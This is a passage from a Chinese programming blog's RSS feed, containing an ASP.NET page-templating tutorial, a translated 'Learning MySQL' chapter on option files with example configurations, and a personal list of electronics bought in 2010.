<blockquote><p>&lt;div&gt;<br />
&lt;div id = &#8220;header&#8221;&gt;<br />
&lt;h2&gt;Template Test ASP.NET Site&lt;/h2&gt;<br />
&lt;hr /&gt;<br />
&lt;/div&gt;<br />
&lt;asp:contentplaceholder id=&#8221;testContentPlaceHolder&#8221; runat=&#8221;server&#8221;&gt;<br />
&lt;/asp:contentplaceholder&gt;<br />
&lt;/div&gt;<br />
&lt;div id = &#8220;footer&#8221; &gt;<br />
&lt;hr /&gt;<br />
&lt;a href = &#8220;javascript:history.go(&#8216;-1&#8242;)&#8221;&gt;Back&lt;/a&gt; |<br />
&lt;a href = &#8220;default.aspx&#8221; &gt;HomePage&lt;/a&gt; |<br />
&lt;a href = &#8220;javascript:history.go(&#8217;1&#8242;)&#8221;&gt;Next&lt;/a&gt;</p>
<p>&lt;/div&gt;</p></blockquote>
<p>其中&lt;asp:contentplaceholder&#8230;&gt;就是在引用母版页的其它页中可以指定内容的位置。</p>
<p>再在解决方案管理器中添加一个新项，模板中选择“Web窗体”，文件名为“TemplateByMasterPage.aspx”，并勾选“选择母版页”，点击“添加”后选择刚刚新建的母版页TestMasterPage.master。切换到源视图，添加如下代码：</p>
<blockquote><p>&lt;asp:Content ID=&#8221;Content1&#8243; ContentPlaceHolderID=&#8221;testContentPlaceHolder&#8221; Runat=&#8221;Server&#8221;&gt;<br />
&lt;p&gt;<br />
This page achiveve by masterpage.&lt;br /&gt;<br />
MasterPage: &lt;strong&gt;TestMasterPage.master&lt;/strong&gt;<br />
&lt;/p&gt;</p>
<p>&lt;/asp:Content&gt;</p></blockquote>
<p>这便在母版页的指定位置实现了区别化的部分。</p>
<h4>2、使用用户控件实现</h4>
<p>在ASP.NET一出现便提供了用户控件，它的目的是为了让用户将多个经常固定出现的控件或者代码，封装起来组织成一个新的引用单位，用户控件的目的是为了便于用户掌握模块粒度，在模块的耦合与内聚之间进行平衡。</p>
<p>相对于母版的填空，控件更像是组装。</p>
<p>由于我们要实现的页面具有三个部分，有两个部分需要模板化，那就需要新建两个用户控件。</p>
<p>在解决方案管理器中添加一个新项，模板选择“Web用户控件”，命名为TemplateByUserControl_header.ascx，然后在源视图中添加如下代码：</p>
<blockquote><p>&lt;div id = &#8220;header&#8221;&gt;<br />
&lt;h2&gt;Template Test ASP.NET Site&lt;/h2&gt;<br />
&lt;hr /&gt;<br />
&lt;/div&gt;</p></blockquote>
<p>再添加另外一个用户控件，命名为TemplateByUserControl_footer.ascx，添加如下代码：</p>
<blockquote><p>&lt;div id = &#8220;footer&#8221; &gt;<br />
&lt;hr /&gt;<br />
&lt;a href = &#8220;javascript:history.go(&#8216;-1&#8242;)&#8221;&gt;Back&lt;/a&gt; |<br />
&lt;a href = &#8220;default.aspx&#8221; &gt;HomePage&lt;/a&gt; |<br />
&lt;a href = &#8220;javascript:history.go(&#8217;1&#8242;)&#8221;&gt;Next&lt;/a&gt;<br />
&lt;/div&gt;</p></blockquote>
<p>两个用户控件便添加完成了。在解决方案管理器中添加一个Web窗体新项，命名为TemplateByUserControl.aspx，在&lt;%@ Page &#8230;%&gt;行后添加如下两行，用以注册刚刚建立的两个用户控件：</p>
<blockquote><p>&lt;%@ Register Src=&#8221;TemplateByUserControl_footer.ascx&#8221; TagName=&#8221;TemplateByUserControl_footer&#8221;<br />
TagPrefix=&#8221;uc_footer&#8221; %&gt;</p>
<p>&lt;%@ Register Src=&#8221;TemplateByUserControl_header.ascx&#8221; TagName=&#8221;TemplateByUserControl_header&#8221;<br />
TagPrefix=&#8221;uc_header&#8221; %&gt;</p></blockquote>
<p>这便完成了用户控件的引用，然后在页面的&lt;head&gt;部分中添加对样式表的引用。再在&lt;form&gt;中添加如下的代码：</p>
<blockquote><p>&lt;uc_header:TemplateByUserControl_header ID=&#8221;id_uc_header&#8221; runat=&#8221;server&#8221; /&gt;<br />
&lt;p&gt;<br />
This Page Achieve by UserControls.&lt;br /&gt;<br />
UserControls: &lt;strong&gt;TemplateByUserControl_header.ascx&lt;/strong&gt; and &lt;strong&gt;TemplateByUserControl_footer.ascx&lt;/strong&gt;<br />
&lt;/p&gt;<br />
&lt;uc_footer:TemplateByUserControl_footer ID=&#8221;id_uc_footer&#8221; runat=&#8221;server&#8221; /&gt;</p></blockquote>
<p>这便并两个用户控件安放到了页面中指定的位置。</p>
<h4>3、利用Response.WriteFile来直接输出html文件</h4>
<p>Response.WriteFile方法可以直接将某个文件输出到发给浏览器的HTML代码中，其实它与Response.Write功能极其相似，只是其输出到HTML代码中的内容来源不一样而已。</p>
<p>和用户控件一样，这两部分需要两个Response.WriteFile语句来分别输出，而它们又来处于两个不同的HTML页。<br />
在解决方案管理器中添加一个新项，在模板中选择“文本文件”，命名为header.inc，输入如下代码：</p>
<blockquote><p>&lt;div id = &#8220;header&#8221;&gt;<br />
&lt;h2&gt;Template Test ASP.NET Site&lt;/h2&gt;<br />
&lt;hr /&gt;<br />
&lt;/div&gt;</p></blockquote>
<p>再新建另外一个文本文件，命名为footer.inc，代码内容如下：</p>
<blockquote><p>&lt;div id = &#8220;footer&#8221; &gt;<br />
&lt;hr /&gt;<br />
&lt;a href = &#8220;javascript:history.go(&#8216;-1&#8242;)&#8221;&gt;Back&lt;/a&gt; |<br />
&lt;a href = &#8220;default.aspx&#8221; &gt;HomePage&lt;/a&gt; |<br />
&lt;a href = &#8220;javascript:history.go(&#8217;1&#8242;)&#8221;&gt;Next&lt;/a&gt;<br />
&lt;/div&gt;</p></blockquote>
<p>再在解决方案管理器中添加一个新项，在模板中选择“Web窗体”，命名为TemplateByWriteFile.aspx。再在&lt;form&gt;中添加如下代码：</p>
<blockquote><p>&lt;% Response.WriteFile(&#8220;header.inc&#8221;); %&gt;<br />
&lt;p&gt;<br />
This page achieve by Response.WriteFile Method.&lt;br /&gt;<br />
INC file: &lt;strong&gt;header.inc&lt;/strong&gt;  and &lt;strong&gt;footer.inc&lt;/strong&gt;<br />
&lt;/p&gt;<br />
&lt;% Response.WriteFile(&#8220;footer.inc&#8221;); %&gt;</p></blockquote>
<p>注意在页的&lt;head&gt;中添加对样式表的引用，即可实现。</p>
<h4>4、通过使用Include添加ASPX文件的方法实现</h4>
<p>利用Response.WriteFile是直接输出HTML代码，而通过include方法则可以向ASPX页中添加ASPX代码，这是从ASP中继承来的方法。<br />
需要注意的是，使用这个方法相当于把一个ASPX文件的所有代码添加到另外一个ASPX文件中的指定位置，而很多东西在一个ASPX文件中只有能一个，比如&lt;$@ Page &#8230;$&gt;行，还有比如带有runat=&#8221;server&#8221;属于的&lt;form&gt;，因此要特别注意，插入的文件中最好不要出现这些内容。</p>
<p>使用下面的代码可以插入ASPX代码到文件中：</p>
<blockquote><p>&lt;!&#8211;#include file = &#8220;TemplateByIncludeASPXfile_header.aspx&#8221; &#8211;&gt;</p></blockquote>
<p>具体的实现方法与Response.WriteFile类似。</p>
<h4>5、通过iframe方法实现</h4>
<p>iframe使得可以在一个ASPX页中插入另外一个ASPX页，但这并不是相当于把多个页的ASPX代码直接组合，只有在被请求时，被组合的页各自独立的运行并生成HTML代码，然后再把HTML代码进行组合。因此，各个ASPX页中都可以有各自的&lt;%@ Page&#8230; %&gt;和带有runat = &#8220;server&#8221;的form。</p>
<p>具体的实现方法也比较简单，只要有HTML基础即可，例如，如下的代码可以进行ASPX页的iframe插入：</p>
<blockquote><p>&lt;iframe id=&#8221;header&#8221;  frameborder =&#8221;0&#8243; style = &#8220;width:100%; height:100px&#8221; src = &#8220;TemplateByIframe_header.aspx&#8221;&gt;&lt;/iframe&gt;</p></blockquote>
<h3>三、各方法的优点</h3>
<p>母版页功能最为强大，可以建立一个供其它页进行填充的框架结构。而用户控件则可以将多行代码或者控件进行组合，类似于一个容器。Response.WriteFile可以将小段的HTML代码进行直接的输出，include则可以将ASPX代码进行组合。虽然iframe是一个令人厌恶的结构，但却可以简单粗暴的组合多个ASPX页。</p>
<h3>四、代码打包下载</h3>
<p><a rel="attachment wp-att-1268" href="http://chensd.com/2011-02/5-methods-to-achieve-template-in-asp-net.html/templatetest">源代码下载</a>（14KB）</p>
<p>下载代码压缩包后，可将其解压，再在IIS中映射一个虚拟目录，即可实现浏览。default.aspx是一个导航页。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-02/5-methods-to-achieve-template-in-asp-net.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>译文：在MySQL中使用选项文件（Options File）</title>
		<link>http://chensd.com/2011-02/translattion-chapter-11-using-an-options-file.html</link>
		<comments>http://chensd.com/2011-02/translattion-chapter-11-using-an-options-file.html#comments</comments>
		<pubDate>Sat, 12 Feb 2011 00:42:46 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[编程杂记]]></category>
		<category><![CDATA[翻译]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[选项文件]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1248</guid>
		<description><![CDATA[译　　　文：在MySQL中使用选项文件（Options File） 原　文　名：Chapter 11 Using an Options File 原　书　名：Learning MySQL 原书出版社：O&#8217;REILLY Media 影印出版社：东南大学出版社（影印版连接） 原　作　者：Seyed M.M. Tahaghoghi, Hugh E. Williams 译　作　者：不可能不确定（@SidCN） 在阅读本书的过程中，你会发现可以往很多MySQL的程序和脚本传送各种选项或者参数，比如，可以向MySQL监视器传送数据库的用户名和密码。当没有为某个选项指定值的时候，就会使用选项的默认值，再比如，大多数的客户端程序都会使用localhost和3306作为数据库地址和端口的默认值。 如果你不想使用默认值，那么就要在每次运行时进行指定，这不仅麻烦，还有可能引发一些错误。幸好MySQL支持将需要指定的参数或者选项值存储在一个选项文件（options file）里，有时称之为配置文件（configuration file），大多数MySQL程序都能从选项文件中读取选项或者脚本，这些程序包括：myisamchk、myisampack、mysql、mysqladmin、mysqlbinlog、mysqlcc、mysqlcheck、mysqld、mysqld_safe、mysqldump、mysqlhotcopy、mysqlinport、mysql.server和mysqlshow。 下面，将以MySQL监视器为例进行选项文件的介绍。 为MySQL监视器配置选项 在本书中经常可以看到在启动监视器时为其指定用户名和密码，诸如： sid@sid-ubuntu-laptop:~$ mysql &#8211;user=root &#8211;password=db Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 50 Server version: 5.1.49-1ubuntu8.1 (Ubuntu) Copyright (c) 2000, [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>译　　　文：<a href="http://chensd.com/2011-02/translattion-chapter-11-using-an-options-file.html" target="_self">在MySQL中使用选项文件（Options File）</a></li>
<li>原　文　名：Chapter 11 Using an Options File</li>
<li>原　书　名：<a href="http://oreilly.com/catalog/9780596008642" target="_blank">Learning MySQL</a></li>
<li>原书出版社：O&#8217;REILLY Media</li>
<li>影印出版社：东南大学出版社（<a href="http://www.china-pub.com/34828" target="_blank">影印版连接</a>）</li>
<li>原　作　者：<a href="http://tahaghoghi.com/" target="_blank">Seyed M.M. Tahaghoghi</a>, <a href="http://hughwilliams.com/" target="_blank">Hugh E. Williams</a></li>
<li>译　作　者：<a href="http://chensd.com">不可能不确定</a>（@SidCN）</li>
</ul>
<p><a href="http://chensd.com/2011-01//translattion-chapter-11-using-an-options-file.html" target="_self"></a></p>
<p><a href="http://oreilly.com/catalog/9780596008642" target="_blank"></a></p>
<p><a href="http://hughwilliams.com/" target="_blank"></a></p>
<p>在阅读本书的过程中，你会发现可以往很多MySQL的程序和脚本传送各种选项或者参数，比如，可以向MySQL监视器传送数据库的用户名和密码。当没有为某个选项指定值的时候，就会使用选项的默认值，再比如，大多数的客户端程序都会使用localhost和3306作为数据库地址和端口的默认值。</p>
<p>如果你不想使用默认值，那么就要在每次运行时进行指定，这不仅麻烦，还有可能引发一些错误。幸好MySQL支持将需要指定的参数或者选项值存储在一个选项文件（options file）里，有时称之为配置文件（configuration file），大多数MySQL程序都能从选项文件中读取选项或者脚本，这些程序包括：myisamchk、myisampack、mysql、mysqladmin、mysqlbinlog、mysqlcc、mysqlcheck、mysqld、mysqld_safe、mysqldump、mysqlhotcopy、mysqlinport、mysql.server和mysqlshow。</p>
<p>下面，将以MySQL监视器为例进行选项文件的介绍。<span id="more-1248"></span></p>
<h2>为MySQL监视器配置选项</h2>
<p>在本书中经常可以看到在启动监视器时为其指定用户名和密码，诸如：</p>
<blockquote><p>sid@sid-ubuntu-laptop:~$ mysql &#8211;user=root &#8211;password=db<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 50<br />
Server version: 5.1.49-1ubuntu8.1 (Ubuntu)<br />
Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.<br />
This software comes with ABSOLUTELY NO WARRANTY. This is free software,<br />
and you are welcome to modify and redistribute it under the GPL v2 license<br />
Type &#8216;help;&#8217; or &#8216;\h&#8217; for help. Type &#8216;\c&#8217; to clear the current input statement.<br />
mysql&gt;</p></blockquote>
<p>为了让你的指头少敲几次键盘，你可以将你的用户名和密码保存在一个选项文件里，并将选项文件放在一个监视器在启动时会去检索的位置，之后监视器在启动时，将会从选项文件中自动读取相应的用户名和密码。</p>
<p>在这个选项文件里，首先要指定目标程序－－在这里将是MySQL监视器程序mysql－－再将各个选项一一列在它的后面：</p>
<blockquote><p>[mysql]<br />
user=root<br />
password=db</p></blockquote>
<p>如果你使用的是Linux或者Mac OS X，在一个文本编辑器中输入如上的内容后，将其命名为.my.cnf并保存在用户目录中（~/.my.cnf），如果是Windows，将其命名为my.cnf并保存在 C盘的根目录中（ c:\my.cnf），然后，你将可以不用指定用户名和密码而启动MySQL监视器－－相应的值MySQL监视器会自动从选项文件中读取：</p>
<blockquote><p>sid@sid-ubuntu-laptop:~$ mysql<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 47<br />
Server version: 5.1.49-1ubuntu8.1 (Ubuntu)<br />
Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.<br />
This software comes with ABSOLUTELY NO WARRANTY. This is free software,<br />
and you are welcome to modify and redistribute it under the GPL v2 license<br />
Type &#8216;help;&#8217; or &#8216;\h&#8217; for help. Type &#8216;\c&#8217; to clear the current input statement.<br />
mysql&gt;</p></blockquote>
<p>这实在是太方便了！不幸的是，现在要给你浇一盆冷水了，要提醒的是，将密码使用非加密的方式（纯文本）来存储绝对不是个好主意。至少你要保证只有你能够读写这个文件，在Linux和Mac OS X系统中，可以使用chrom命令来实现：</p>
<blockquote><p>chmod u=rw,g=,o= ~/.my.cnf</p></blockquote>
<p>在本书的第二章中我们讨论了权限的设定，在便利和安全中进行权衡是系统和数据安全中一个永恒不变的话题。你需要确保每个程序的需求。</p>
<p>让我们来看看另外一个例子，如果你想用MySQL监视器连接一个使用端口57777和地址mysql.chensd.com的mysql服务器，并准备使用该服务器上的music数据库，连接这个数据库的用户名为allmusic，密码为the_password，那启动MySQL监视器则需要使用如下的命令</p>
<blockquote><p>$ mysql \<br />
&#8211;host=mysql.chensd.com \<br />
&#8211;port=57777 \<br />
&#8211;user=allmusic \<br />
&#8211;password=the_password \<br />
&#8211;database=music</p></blockquote>
<p>输入这条命令将是一个恼人的过程，当然，你可以将这些值存储在如下的选项文件中</p>
<blockquote><p>[mysql]<br />
host=mysql.chensd.com<br />
port=57777<br />
user=allmusic<br />
password=the_password<br />
database=music</p></blockquote>
<p>考虑到安全问题，你可以不在选项文件中指定密码，并使用password来取代之，如下：</p>
<blockquote><p>[mysql]<br />
host=mysql.chensd.com<br />
port=57777<br />
user=allmusic<br />
password<br />
database=music</p></blockquote>
<p>这样，MySQL监视器就知道你需要指定密码，在进行连接之前，将会提示你输入密码。</p>
<h2>选项文件的结构</h2>
<p>在上一节我们知道如何为MySQL监视器指定选项值，选项文件可以为每个使用它的程序创建对应的一部分（section），比如，可以为mysql程序指定[mysql]部分，为mysqldump程序指定[mysqldump]部分，同样的，可以使用[mysqld]为、mysqld、mysqld_safe和mysql_nt指定某些个选项。</p>
<p>如果某个选项是针对所有客户端程序的，则可将其整理到[client]部分，同样的，[server]部分中所列出的选项将适用于所有的服务端程序。</p>
<p>需要注意的是，不要将只有某些程序才有的选项加入到通用选项中。例如，mysql是一个客户端程序，且有database这个选项，但是，像mysqladmin和mysqlshow虽然也是客户端程序，但并没有database这个选项，如果将database这个选项放到[client]部分中，如下：</p>
<blockquote><p>[client]<br />
database=music</p></blockquote>
<p>那么这些程序就会出错并退出，像这样：</p>
<blockquote><p>sid@sid-ubuntu-laptop:~$ mysqladmin status &#8211;user=root &#8211;password=db<br />
mysqladmin: unknown variable &#8216;database=music&#8217;</p></blockquote>
<p>像database这样的选项，必须包含在[mysql]中，而不是放在[client]中。</p>
<p>让我们来看看一个更有意思的选项文件：</p>
<blockquote><p>[server]<br />
user=mysql<br />
port=67777<br />
basedir=/usr/local/mysql-standard-5.0.22-linux-i686<br />
socket=/home/mysql/servert.sock<br />
datadir=/home/mysql/data<br />
tmpdir=/home/sql/tmp<br />
pid_file=/home/mysql/logs/server.pid</p>
<p>#log server message to:<br />
log=/home/mysql/logs/servert.main.log</p>
<p>#log errors message to:<br />
log_error=/home/mysql/logs/servert.errors.log</p>
<p>#log update to this binary logfile<br />
log_bir=/home/mysql/logs/servert.update.log</p>
<p>[client]<br />
socket=/home/mysql/servert.sock</p>
<p>[mysql]<br />
database=mysql</p>
<p>[mysqldump]<br />
all-databases<br />
result=/tmp/dump.sql</p></blockquote>
<p>这包括四部分，一个提供给所有的服务端程序，一个提供给所有的客户端程序，一个提供给mysql，一个提供给mysqldump，最后两个都是提供给客户端程序的，但我们列在上面的几个选项并不是所有的客户端程序都能够读取的，所以把它们分开列。<br />
如果一个选项出现在了两个都适用的部分（比如[client]和[mysql]）中，那么越具有针对性的选项会被优先应用（在这里将是[mysql]中的选项）。</p>
<p>以#开始的行在选项文件被读取时是忽略的，这使得可以在选项文件中添加注释，或者将某些值忽略掉。</p>
<h2>选项的作用范围</h2>
<p>选项文件所在的位置决定了这些选项的作用范围。这些范围包括：</p>
<ul>
<li><strong>全局范围（System-wide）</strong></li>
</ul>
<p>选项文件中的设置将会应用到系统中所有的MySQL程序。</p>
<p>在Linux和Mac OS X系统中，全局范围的选项文件需要存储在/etc/my.cnf中，所有的MySQL客户端程序和服务端程序都会自动的读取这个位置的选项文件。</p>
<p>在Windows系统中，选项文件可以存放在&lt;Windows_Directory&gt;\my.ini、&lt;Windows_Directory&gt;\my.cnf、c:\my.ini和c:\my.cnf，&lt;Windows_Directory&gt;是指windows的安装文件夹，通常情况下是c:\windows。目前所有的MySQL Windows版本（４.1.5以上）服务端程序默认情况下不再读取选项文件，因此，如果要为服务端程序指定选项，则需要在服务端程序特有范围（server-specific）选项中指定。但客户端程序不受此影响，仍然会读取这些选项文件。</p>
<ul>
<li><strong>服务端程序特有范围（server-specific）</strong></li>
</ul>
<p>这个范围内的设置只被应用到某个特定的MySQL安装实例中。</p>
<p>这个范围内的选项文件Linux和Mac OS X中存储在&lt;MySQL_Directory&gt;/my.cnf，Windows存储在MySQL_Directory&gt;\my.ini。</p>
<p>这个选项文件有时候也存储在数据文件夹中，但这并不是个好主意，首先，如果不使用默认的数据文件夹，则在安装完MySQL后，还需要指定相应的数据文件夹，否则选项文件是不会起作用的。其次，数据文件夹必须能够被其它需要读取选项文件的客户端程序（包括系统中的其它用户）访问，但数据文件夹最好只限于服务器内部的访问，因此最好将选项文件夹放在其它位置。</p>
<p>Windows中，MySQL在安装过程中会将一个my.ini文件存放在安装文件夹中，当MySQL被安装为系统服务时，会指定选项文件的位置，下面是一个典型的服务：</p>
<blockquote><p>&#8220;C:\Program Files\MySQL\MySQL Server 5.0\bin\mysql-nt&#8221; &#8211;defaults-file=&#8221;C:\Program Files\MySQL\MySQL Server 5.0\my.ini&#8221;</p></blockquote>
<p>如果你想将选项文件存放在其它位置，你可以改变它，比如，你可以让服务端从c:\my.ini读取选项文件：</p>
<blockquote><p>&#8220;C:\Program Files\MySQL\MySQL Server 5.0\bin\mysql-nt&#8221; &#8211;defaults-file=&#8221;C:\my.ini&#8221;</p></blockquote>
<p>如果你想通过命令行而不是系统服务的方式启动服务端，你也需要对选项文件进行指定，可以使用同一个文件，也可以重新建立一个，比如，你可以通过下面的命令来使服务端从c:\my.ini读取相应的配置：</p>
<blockquote><p>C:\&gt; mysql-nt &#8211;defaults-file=&#8221;c:\my.ini&#8221;</p></blockquote>
<ul>
<li><strong>用户特有范围（User-Specific）</strong></li>
</ul>
<p>这个范围的设置只在到某些特定用户运行MySQL程序时有效。</p>
<p>在Linux和Mac OS X中，用户特有范围选项文件的默认存储位置是用户目录下的.my.cnf文件，即~/.my.cnf目录，Windows系统中还不支持用户特有范围的选项文件。</p>
<h2>选项文件的检索顺序</h2>
<p>MySQL的客户端和服务端程序按照特定的顺序从指定的位置读取选项文件；从后读取文件中得到的值将会取代先前文件中的值；命令行中指定的值会取代从选项文件中读取的值。</p>
<p>default-file选项可以让MySQL程序忽略默认的选项文件，并从其指定的位置读取选项文件，例如：</p>
<blockquote><p>$ mysql &#8211;defaults-file=~/mysql/.my.cnf</p></blockquote>
<p>如果除了默认的选项文件，你还想读取另外的选项文件，可以通过defauls-extra-file选项来进行指定：</p>
<blockquote><p>$ mysql &#8211;defaults-extra-file=~/mysql/own.cnf</p></blockquote>
<p>如果你不想程序读取任何选项文件，则可以使用no-defaults选项：</p>
<blockquote><p>$ mysql &#8211;no-defaults</p></blockquote>
<p>在Linux和Mac OS X系统中，检索的顺序是：/etc/my.cnf、&lt;MySQL_Directory&gt;/my.cnf、defaults-extra-file，最后是~/.my.cnf，需要注意的是，对于全局可写的选项文件是要被忽略的。通常情况下适当的权限设置应该是：文件所有者对文件具有读写权限，而所在组及其它用户只具有读的权限。这个权限的设置可以使用如下的命令：</p>
<blockquote><p>$ chmod u=rw,g=,o= ~/.my.cnf</p></blockquote>
<p>运行这个命令的时候，需要具有系统的root权限，可以在使用root登录后运行，也可以在这条命令之前加一个sudo。<br />
在Windows系统中，检索的顺序是：&lt;Windows_Directory&gt;\my.ini、&lt;Windows_Directory&gt;\my.cnf、C:\my.ini、C:\my.cnf、&lt;MySQL_Directory&gt;\my.ini、&lt;MySQL_Directory&gt;\my.cnf，最后是defaults-extra-file，重复一遍，Windows中服务端程序不会主动读取选项文件，需要使用defaults-file选项进行指定。</p>
<h2>判断选项是否有效</h2>
<p>有时候我们并不清楚运行某个程序时哪些个选项起到了作用，特别是当在多个文件夹中读取多个选项文件时。大多数MySQL程序都支持print-defaults选项，通过这个选项，可以知道运行程序时有哪些选项起到了作用。例如，想知道mysqldump程序运行是有哪些选项是起到了作用，可以使用如下的命令：</p>
<blockquote><p>$ mysqldump &#8211;print-defaults</p>
<p>mysqldump would have been started with the following arguments:<br />
&#8211;socket=/home/mysql/servert.sock<br />
&#8211;all-databases<br />
&#8211;result_file=/tmp/dump.sql<br />
&#8211;host=localhost<br />
&#8211;port=3306<br />
&#8211;databases=Music<br />
&#8211;result_file=/home/saied/dump.sql</p></blockquote>
<p>运行my_print_defaults命令并指定要查看的程序可以达到同样的效果，例如，要查看所有客户端程序和mysqldump的设置，可以使用如下的命令：</p>
<blockquote><p>$ my_print_defaults client mysqldump</p>
<p>&#8211;socket=/home/mysql/servert.sock<br />
&#8211;all-databases<br />
&#8211;result_file=/tmp/dump.sql<br />
&#8211;host=localhost<br />
&#8211;port=3306<br />
&#8211;databases=Music<br />
&#8211;result_file=/home/saied/dump.sql</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-02/translattion-chapter-11-using-an-options-file.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>2010年我的新购电子产品列表</title>
		<link>http://chensd.com/2011-01/2010-my-e-pet-list.html</link>
		<comments>http://chensd.com/2011-01/2010-my-e-pet-list.html#comments</comments>
		<pubDate>Thu, 27 Jan 2011 03:53:16 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[生活杂记]]></category>
		<category><![CDATA[趣]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1226</guid>
		<description><![CDATA[过去的一年是“奢侈”的一年，没有什么目标，没有什么进步。但却在电子产品上花了太多的精力，附带和各公司快递员混了个脸熟。快回家过年了，列个表吧： 二手T60 ￥2400 像ThinkPad这样拉风的笔记本，无论在什么地方，都像漆黑中的萤火虫一样，那样的鲜明，那样的出众！它那忧郁的造型，稀嘘的键盘帽，神乎其神的ThinkLight，还有那颗鲜红的TrackPoint，都深深的出卖了它。 T60兼容六芯电池 ￥150 二手本的电池实在是太悲剧了，坚持个十来分钟就不行了。于是托朋友给弄来了个兼容电池。 Targus Thinkpad单肩包 ￥100 这个价位的Targus就不要指望是真的了，用了大半年，感觉倒也还行。与包一起的，还有三种型号的小红点，试来试去，最后选用了Soft-Rem（小红盘）。 Microsoft光学银光鲨IE3.0复刻版 ￥179 05年买了一套微软的键鼠，用那键盘敲完了那本破书，结果在毕业搬宿舍时，让几个哥们给我拖坏了。鼠标一直用到今年下半年，直到我拆洗时弄断了一个塑料扣，这才决定换上一个鼠标，当然，肯定还选微软。 LG GS100 ￥129 因为弄了两个号，又不想用双待的，于是便弄了这个备用手机，没想到还挺争气，充次电可以待机十天。但最近经常出些问题，年后是要拿去修修了。先后在京东帮朋友同事和老妈买了四个同款手机。 Moto CLIQ MB200 ￥1200 翻来覆去，最终还是没有挡住诱惑，买了这款Android的入门机，在这个价位上的确还是款蛮超值的机器。 BlackBerry 8700电池 ￥35 智能手机的电池永远都是个痛。 东芝Class4 4G TF卡 ￥32.5 什么值得买这个网站上的推荐，也是第一次在易迅上买东西。价格还真对得起群众，实测速度也不错。 Moto CLIQ电池加座充￥35 在年终奖的激励下，CLIQ最终转手给了同事，同时我答应附送上面那张TF卡，再外加一块电池和一个座充。 日立2.5寸500G硬盘（7200rpm，16M） ￥382 T60原本配的是个100G的7200rpm日立硬盘，使用时间已经快一万小时了，把换硬盘的想法一说，刚好一哥们想买移动硬盘，于是便买了个硬盘盒，把这个100G的装上转给了他。这款应该是7200rpm / 16M / 500G中价格最低的一个了。有了这硬盘，终于可以加个windows系统了。 联通杭州WCDMA电话卡 ￥214 有了Android手机，不弄张WCDMA卡还真不行，以前绰绰有余的80M流量几天都给消耗光了，在淘宝上一折腾，就弄了这张1G流量200分钟通话66元月租26元/月返还的变态卡。自己是舒坦了，不过电话我的同志们，不知不觉又多交了些长途费。 Nexus One ￥2600 CLIQ转手后，大换血的买下了N1，腐败啊腐败。真是“由俭入奢易，由奢入俭难”啊！ 本来想把VPS也写进来，但想想还是年后来了再专门写篇文章吧。]]></description>
			<content:encoded><![CDATA[<p>过去的一年是“奢侈”的一年，没有什么目标，没有什么进步。但却在电子产品上花了太多的精力，附带和各公司快递员混了个脸熟。快回家过年了，列个表吧：</p>
<ul>
<li><strong>二手T60								￥2400</strong></li>
</ul>
<p>像ThinkPad这样拉风的笔记本，无论在什么地方，都像漆黑中的萤火虫一样，那样的鲜明，那样的出众！它那忧郁的造型，稀嘘的键盘帽，神乎其神的ThinkLight，还有那颗鲜红的TrackPoint，都深深的出卖了它。</p>
<ul>
<li><strong>T60兼容六芯电池					￥150</strong></li>
</ul>
<p>二手本的电池实在是太悲剧了，坚持个十来分钟就不行了。于是托<a href="http://shenxf.com" target="_blank">朋友</a>给弄来了个兼容电池。</p>
<ul>
<li><strong>Targus Thinkpad单肩包				￥100</strong></li>
</ul>
<p>这个价位的Targus就不要指望是真的了，用了大半年，感觉倒也还行。与包一起的，还有三种型号的小红点，试来试去，最后选用了Soft-Rem（小红盘）。<span id="more-1226"></span></p>
<ul>
<li><strong><a href="http://www.360buy.com/product/108912.html" target="_blank">Microsoft光学银光鲨IE3.0复刻版</a> ￥179</strong></li>
</ul>
<p>05年买了一套微软的键鼠，用那键盘敲完了那本破书，结果在毕业搬宿舍时，让几个哥们给我拖坏了。鼠标一直用到今年下半年，直到我拆洗时弄断了一个塑料扣，这才决定换上一个鼠标，当然，肯定还选微软。</p>
<ul>
<li><strong><a href="http://www.360buy.com/product/225613.html" target="_blank">LG GS100</a> ￥129</strong></li>
</ul>
<p>因为弄了两个号，又不想用双待的，于是便弄了这个备用手机，没想到还挺争气，充次电可以待机十天。但最近经常出些问题，年后是要拿去修修了。先后在京东帮朋友同事和老妈买了四个同款手机。</p>
<ul>
<li><strong>Moto CLIQ MB200					￥1200</strong></li>
</ul>
<p>翻来覆去，最终还是没有挡住诱惑，买了这款Android的入门机，在这个价位上的确还是款蛮超值的机器。</p>
<ul>
<li><strong>BlackBerry 8700电池					￥35</strong></li>
</ul>
<p>智能手机的电池永远都是个痛。</p>
<ul>
<li><strong><a href="http://www.icson.com/products/25557.html" target="_blank">东芝Class4 4G TF卡</a> ￥32.5</strong></li>
</ul>
<p><a href="http://smzdm.com" target="_blank">什么值得买</a>这个网站上的推荐，也是第一次在易迅上买东西。价格还真对得起群众，实测速度也不错。</p>
<ul>
<li><strong>Moto CLIQ电池加座充￥35</strong></li>
</ul>
<p>在年终奖的激励下，CLIQ最终转手给了同事，同时我答应附送上面那张TF卡，再外加一块电池和一个座充。</p>
<ul>
<li><strong><a href="http://www.amazon.cn/gp/product/B003N63M44" target="_blank">日立2.5寸500G硬盘（7200rpm，16M）</a> ￥382</strong></li>
</ul>
<p>T60原本配的是个100G的7200rpm日立硬盘，使用时间已经快一万小时了，把换硬盘的想法一说，刚好一哥们想买移动硬盘，于是便买了个硬盘盒，把这个100G的装上转给了他。这款应该是7200rpm / 16M / 500G中价格最低的一个了。有了这硬盘，终于可以加个windows系统了。</p>
<ul>
<li><strong>联通杭州WCDMA电话卡				￥214</strong></li>
</ul>
